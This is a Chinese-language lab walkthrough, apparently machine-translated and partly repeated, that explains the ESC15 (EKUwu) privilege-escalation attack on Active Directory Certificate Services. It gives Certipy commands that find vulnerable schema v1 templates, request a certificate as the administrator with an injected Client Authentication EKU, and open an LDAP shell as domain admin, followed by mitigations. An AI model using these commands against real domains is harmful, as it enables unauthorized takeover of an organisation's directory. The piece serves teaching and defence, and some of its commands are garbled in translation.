8
月
在社区成长 8 月
LEVEL 90
100 XP
ESC15 (EKUwu) 影响Active Directory 证书服务(AD CS) 漏洞,允许攻击者将未经授权的EKU(例如客户端身份验证)注入架构版本1 模板中。此缺陷特权可以升级,绕过安全限制并授予未经授权的访问权限。使用AD CS 的组织必须迅速采取行动,以缓解这一高风险安全问题。
如果成功,AD 将颁发完全受信任的证书,允许Kerberos PKINIT 以任何用户(包括域管理员)身份登录。
攻击者可以注册证书模板允许“请求中提供”EKU 注入不会被阻止
结果: 低权限用户升级为域管理员,而无需触及密码或哈希值。
Note: 许多组织认为删除Web 注册或禁用SAN 注入就足够了。 EKUwu 证明,如果不经过审核,即使是“安全”的v1 模板也可能成为权限升级向量。
ESC15 (EKUwu) 利用了架构版本1 中的弱点。它允许攻击者将未经授权的应用程序策略OID(如客户端身份验证)添加到证书请求中,从而跳过安全检查。这使得权限较低的用户可以获得具有较高访问权限的证书,从而导致权限升级并访问敏感系统。
由于架构版本1 在较旧的环境中仍然很常见,因此许多组织仍然容易受到此漏洞的攻击。
域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 包含各种工具
Tools: Certipy v2(支持ESC15)
在利用之前,请确认Web 服务器模板已启用并且您的用户(我们的cae 中的raj)具有注册权限:
首先,在CA服务器上,打开证书颁发机构。
然后,展开您的CA → 右键单击证书模板→ 管理
在证书模板控制台中:
找到Web服务器右键单击→属性
在“Web 服务器属性”下,转到“安全”选项卡添加raj(或您的低权限用户)
授予注册权限
单击“应用”→“确定”
此权限允许raj 使用对于即将到来的EKUwu 攻击至关重要的Web 服务器模板请求证书。
此命令克隆支持ESC15 (EKUwu) 的Certipy 分支,使用–single-branch 标志仅获取EKUwu 分支并避免不必要的数据,因为Certipy 的标准版本不支持EKU 注入,而dru1d-foofus 的这个修补分支支持ESC15 漏洞利用。
克隆Certipy 存储库后,运行安装命令在本地设置Certipy,启用ESC15 (EKUwu) 功能以进行模板滥用和EKU 注入,这对于利用该漏洞至关重要。
cd 证书/
python3 setup.py 安装
此扫描会查找允许注册的模板并查找可能的架构v1 选项。它还检查Web 服务器模板是否可用以及是否具有可用于攻击的设置。
然后,我们将检查模板的完整详细信息,包括架构版本、EKU(扩展密钥用法)以及允许注册的个人。这有助于我们确认可以使用Web 服务器模板进行EKU 注入和其他操作。
此命令请求raj 的证书,注入Web 服务器模板通常不允许的客户端身份验证EKU,利用ESC15 缺陷(其中AD CS 无法清理架构v1 中的EKU 字段),从而为管理员身份的Kerberos 身份验证提供完全受信任的证书。
此命令使用恶意证书(administrator.pfx) 以管理员身份进行身份验证,利用AD 对注入的EKU 的信任,以域管理员身份授予LDAP shell 访问权限。
将旧模板移至较新的Schema v2 格式
确保CA 设置严格检查EKU
定期检查给定证书是否存在异常EKU
用于缓解EKU 注入的补丁(CVE-2024-49019,2024 年11 月)
作者:MD Aslam 作为一个充满活力的信息安全领导者,推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里
目录
ESC15 攻击概述什么是架构版本1?先决条件实验室设置枚举利用后漏洞利用缓解ESC15 攻击概述
ESC15 (EKUwu) 是针对Active Directory 证书服务(AD CS) 的后妥协攻击,利用架构v1 证书模板中的逻辑缺陷。出现此缺陷的原因是证书颁发机构(CA) 未正确执行扩展密钥使用(EKU) 限制。为什么这很危险?
AD CS 应仅颁发具有模板中明确定义的EKU 的证书。但在Schema v1 模板中,攻击者可以在注册期间注入任意应用程序策略(EKU)(如客户端身份验证)。如果成功,AD 将颁发完全受信任的证书,允许Kerberos PKINIT 以任何用户(包括域管理员)身份登录。
实际影响
即使强化环境也可能保留旧版v1 模板(例如Web 服务器、用户),这些模板可被利用if:攻击者可以注册证书模板允许“请求中提供”EKU 注入不会被阻止
结果: 低权限用户升级为域管理员,而无需触及密码或哈希值。
Note: 许多组织认为删除Web 注册或禁用SAN 注入就足够了。 EKUwu 证明,如果不经过审核,即使是“安全”的v1 模板也可能成为权限升级向量。
什么是架构版本 1?
AD CS 中的架构版本1 是一种较旧的模板格式,它定义证书属性,例如EKU(扩展密钥用法),以控制哪些用户可以请求特定证书。ESC15 (EKUwu) 利用了架构版本1 中的弱点。它允许攻击者将未经授权的应用程序策略OID(如客户端身份验证)添加到证书请求中,从而跳过安全检查。这使得权限较低的用户可以获得具有较高访问权限的证书,从而导致权限升级并访问敏感系统。
由于架构版本1 在较旧的环境中仍然很常见,因此许多组织仍然容易受到此漏洞的攻击。
先决条件
Windows Server 2019 作为支持PKINIT 的Active Directory域必须配置Active Directory 证书服务和证书颁发机构。
Kali Linux 包含各种工具
Tools: Certipy v2(支持ESC15)
实验室设置
这篇文章着眼于已运行Active Directory 证书服务(AD CS) 并使用Web 服务器等模板的设置。它讨论了攻击者侵入并使用现有系统后会发生什么。第一步是在开始攻击之前检查CA 设置并确保ESC15 的条件已到位。在利用之前,请确认Web 服务器模板已启用并且您的用户(我们的cae 中的raj)具有注册权限:
首先,在CA服务器上,打开证书颁发机构。
然后,展开您的CA → 右键单击证书模板→ 管理
在证书模板控制台中:
找到Web服务器右键单击→属性
在“Web 服务器属性”下,转到“安全”选项卡添加raj(或您的低权限用户)
授予注册权限
单击“应用”→“确定”
此权限允许raj 使用对于即将到来的EKUwu 攻击至关重要的Web 服务器模板请求证书。
枚举利用
现在让我们使用修补后的Certipy 分支来进行利用。克隆 EKUwu 支持的 Certipy
git克隆-b esc15-ekuwu --single-branch https://github.com/dru1d-foofus/Certipy此命令克隆支持ESC15 (EKUwu) 的Certipy 分支,使用–single-branch 标志仅获取EKUwu 分支并避免不必要的数据,因为Certipy 的标准版本不支持EKU 注入,而dru1d-foofus 的这个修补分支支持ESC15 漏洞利用。
克隆Certipy 存储库后,运行安装命令在本地设置Certipy,启用ESC15 (EKUwu) 功能以进行模板滥用和EKU 注入,这对于利用该漏洞至关重要。
cd 证书/
python3 setup.py 安装
查找易受攻击的模板
certipy find -u '[email protected]' -p Password@1 -dc-ip 192.168.1.16 -vulnerable -enabled
此扫描会查找允许注册的模板并查找可能的架构v1 选项。它还检查Web 服务器模板是否可用以及是否具有可用于攻击的设置。
然后,我们将检查模板的完整详细信息,包括架构版本、EKU(扩展密钥用法)以及允许注册的个人。这有助于我们确认可以使用Web 服务器模板进行EKU 注入和其他操作。
请求带有注入 EKU (EKUwu) 的证书
certipy req -dc-ip 192.168.1.16 -ca ignite-DC1-CA -target-ip 192.168.1.16 -u [email protected] -p 'Password@1' -template WebServer -upn [email protected] --application-policies '客户端身份验证'此命令请求raj 的证书,注入Web 服务器模板通常不允许的客户端身份验证EKU,利用ESC15 缺陷(其中AD CS 无法清理架构v1 中的EKU 字段),从而为管理员身份的Kerberos 身份验证提供完全受信任的证书。
后利用
使用伪造的证书进行身份验证
certipy auth -pfx 管理员.pfx -dc-ip 192.168.1.16 -ldap-shell此命令使用恶意证书(administrator.pfx) 以管理员身份进行身份验证,利用AD 对注入的EKU 的信任,以域管理员身份授予LDAP shell 访问权限。
缓解措施
删除旧的Schema v1 模板,使其无法使用。将旧模板移至较新的Schema v2 格式
确保CA 设置严格检查EKU
定期检查给定证书是否存在异常EKU
用于缓解EKU 注入的补丁(CVE-2024-49019,2024 年11 月)
作者:MD Aslam 作为一个充满活力的信息安全领导者,推动安全卓越并指导团队加强跨产品、网络和组织的安全。联系方式请点击这里